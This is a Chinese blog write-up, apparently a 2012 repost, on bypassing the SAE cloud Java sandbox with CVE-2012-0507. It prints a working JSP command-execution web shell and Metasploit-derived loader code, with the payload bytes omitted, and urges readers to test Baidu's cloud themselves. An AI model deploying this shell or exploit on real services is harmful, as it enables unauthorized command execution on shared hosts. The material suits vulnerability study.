IT技术博客大学习 共学习 共进步
全部 移动开发 后端 数据库 AI 算法 安全 DevOps 前端 设计 开发者

SAE云服务安全沙盒绕过

空虚浪子心的灵魂 2012-07-19 12:24:01 累计浏览 3,035 次
本机暂存
ps:此漏洞,新浪已修复。

摘要

新浪有云服务(SAE),提供PHP、JAVA等环境,供用户搭建网站,用户都在同一个云上,为了防止恶意用户在云上面DDOS,旁注黑掉其他云用户什么的,所以必须做安全限制,至少不允许用户调用某些关键函数。java对这种需求,有完美解决方案的,提供安全沙盒,有了安全沙盒,就限制了很多函数。但是java也有出漏洞的时候,今年新出了漏洞CVE20120507,绕过安全JAVA沙箱,新闻上讲,这个漏洞被用来黑苹果电脑。这个漏洞相关的技术,老外有分析文,国内也有分析文,虽然作者还是抱有疑问,但是并没有深究,所以原理方面的东西,就不献丑了。本文的目的,是把这个漏洞换个场景利用起来。

正文

如前文所讲,这个漏洞的作用,是bypass java的沙盒的,被黑客用来做by pass applet的沙盒,这才导致了一些苹果电脑被黑。Bypass applet沙盒,主要被应用于,浏览器访问网站时,处理applet应用,而applet本身,使用了security Manage 和policy文件配合,做了沙盒,绕过沙盒后,可以执行任意代码。(如果不绕过,只能执行有限的,无害的代码)。于是有了exp,可以反弹连接等等。

既然这个漏洞可以bypass沙盒,那理论上不应该仅仅是applet的沙盒,据作者所知,沙盒还有一个地方可以用,就是传说中的云。比如GAE、SAE、BAE、以及其他一些允许java网站,但是一大堆限制的云服务。

那我们先从SAE开始(文章发布时,已经修补)吧,目前SAE还是测试阶段,需要有邀请码,才能使用。我们看看沙盒的限制。

SAE有沙盒:
比如执行系统命令,rumtime.exec函数,是不允许调用的,下面代码测试一下,看看限制信息。

<%@page
	import="msf.x.*,java.io.*,java.util.concurrent.atomic.AtomicReferenceArray"%>
<%
		java.lang.Process process = null;
		process = Runtime.getRuntime()
				.exec(request.getParameter("cmd"));
		ByteArrayOutputStream resultOutStream = new ByteArrayOutputStream();
		InputStream processInStream = new BufferedInputStream(
				process.getInputStream());
		BufferedReader buffer = new java.io.BufferedReader(
				new java.io.InputStreamReader(processInStream));
		int num = 0;
		String strresult = "";
		String result = "";
		while ((strresult = buffer.readLine()) != null) {
			result += strresult;
		}
%><%=result%>
<%
	processInStream.close();
		processInStream = null;
		resultOutStream.close();
		resultOutStream = null;
 
%>

上传后,我们执行:
http://1.javasec.sinaapp.com/cmd.jsp?cmd=ls -l
结果页面,显示权限不够:
原图已失效

这就是沙盒权限限制的经典提示,无论是applet沙盒,还是云沙盒。
看到这个信息,就刚好可以用到cve20120507了。
代码原理大家自己翻文章吧,国内有人已经翻译出来了。
Bypass3.jsp代码,这个文件负责把Help类放入Help类的work函数中:

<%
	try {
			byte[] arrayOfByte = { 这里是某代码,大家自己google能找到 };
			ObjectInputStream localObjectInputStream = new ObjectInputStream(
					new ByteArrayInputStream(arrayOfByte));
			Object[] arrayOfObject = (Object[]) (Object[]) localObjectInputStream
					.readObject();
			Help[] arrayOfHelp = (Help[]) (Help[]) arrayOfObject[0];
			AtomicReferenceArray localAtomicReferenceArray = (AtomicReferenceArray) arrayOfObject[1];
			ClassLoader localClassLoader = getClass().getClassLoader();
			localAtomicReferenceArray.set(0, localClassLoader);
			Help localHelp = arrayOfHelp[0];
			%><%=Help.doWork(localHelp, request.getParameter("cmd").toString())%><%
		} catch (Exception e) {
		}
%>

代码调用一个class的代码,Help类,代码如下:

String String1 = "ExpFile"; //这个是expfile的类名
Class localClass = null;
byte[] classData1 = { -54, -2, -70, -66, 0, 0, 0, 50, 0...
		这里是 expfile.class的byte数组形式内容,直接读取这个文件,输出byte数组可以得到。 };
URL localURL = new URL("file:///");
Certificate[] arrayOfCertificate = new Certificate[0];
Permissions localPermissions = new Permissions();
localPermissions.add(new AllPermission());
ProtectionDomain localProtectionDomain = new ProtectionDomain(
		new CodeSource(localURL, arrayOfCertificate),
		localPermissions);
try {
	Class c = paramHelp.loadClass(String1);
	localClass = c;
} catch (Exception e) {
	localClass = paramHelp.defineClass(String1, classData1, 0,
			classData1.length, localProtectionDomain);
}
Field localField1 = localClass.getField("data");
localField1.set(localClass, cmd);
paramHelp = null;
if (localClass != null) {
	localClass.newInstance();
}
Field localFieldresult = localClass.getField("cmdresult");
String sresult = localFieldresult.get(localClass).toString();
return sresult;

这段代码中load了expfile.class的byte数组形式,当然也有人直接读取class文件,expfile这个类,随便怎么写,都是可以突破沙盒执行的,我的这段代码,也就是个runtime.exec,然后拿到执行结果,所以就不放出了。
这段代码,来自MSF框架,其中修改了一部分:

try {
	Class c = paramHelp.loadClass(String1);
	localClass = c;
} catch (Exception e) {
	localClass = paramHelp.defineClass(String1, classData1, 0,
			classData1.length, localProtectionDomain);
}

这是个很重要的技巧,本来MSF框架生成的代码,都是在applet里执行一次就够了,反弹连接啊,下载exe啊什么的,都可以了,不会产生异常。即便下次打开页面,也是新的一次启动执行。但是放在web中执行,一般需要执行多次,而web容器的classloader不会重启,所以必然会产生异常。

原理:
ClassLoader(paramHelp这个对象继承classLoader)这个类,在执行第二次defineClass方法时,会二次加载同一个类(这里是二次加载expfile类),java的classloader中,是不允许二次加载同一个类的,所以就会报错。为了解决这个问题,只好用了一次try和cache结构,如果当前的classloader已经加载过了expfile类,就直接用,不需要再次加载同一个类。只有解决这个问题,MSF本来用在applet上的代码,才能在web中多次执行,否则你看到的结果,必然是,第一次访问页面,执行成功,第二次,报错。

效果如下:
原图已失效

这个结果,bypass了SAE上,本来不允许执行runtime.exec,并且返回了执行结果。此漏洞已经告诉新浪安全的同学,并且已经修补。升级JRE就可以修补这个漏洞,修补后的结果,是返回null。

这是SAE的执行结果,BAE(百度的云)不给力,不给我验证码,所以就不通知他们了,有没有漏洞,大家自己去测试吧。

Java有不少类似的漏洞,虽然漏洞的公告上,都写明了漏洞的影响,事实上有很多中攻击手段,但是因为其中一种危害特别大,导致人们的都聚焦到这个上面,而忽略了原本公告上给出的重要信息。这个漏洞出来了这么久,oracle也早就出了补丁,大家升级本机上的jre,但是却忽略了服务器上的影响。
By kxlzx http://www.inbreak.net 微博:http://t.qq.com/javasecurity

同分类推荐文章

  1. 绿盟科技《APT组织研究年鉴》(2026 版)正式发布 (2026-06-16 20:21:10)
  2. 【已复现】Linux内核Fragnesia权限提升漏洞(CVE-2026-46300) (2026-06-15 10:53:58)
  3. 企业文档安全最佳实践(二):给文档上“身份证”——手动标密与智能自动标密 (2026-06-12 17:18:33)

查看更多 安全 文章 →

建议继续学习

  1. SmartSprites - 命令行形式的CSS Sprites生成器 (累计阅读 123,894)
  2. Java开发岗位面试题归类汇总 (累计阅读 22,156)
  3. android 开发入门 (累计阅读 19,527)
  4. 我的PHP,Python和Ruby之路 (累计阅读 13,146)
  5. HashMap解决hash冲突的方法 (累计阅读 12,654)
  6. 一个大二学生有关如何成为一名软件工程师的疑问及答复 (累计阅读 9,179)
  7. Java程序员应该知道的10个eclipse调试技巧 (累计阅读 8,012)
  8. 如何让员工忠于公司? (累计阅读 7,940)
  9. Java技术路线 (累计阅读 7,725)
  10. 聊聊ThoughtWorks面试 (累计阅读 7,614)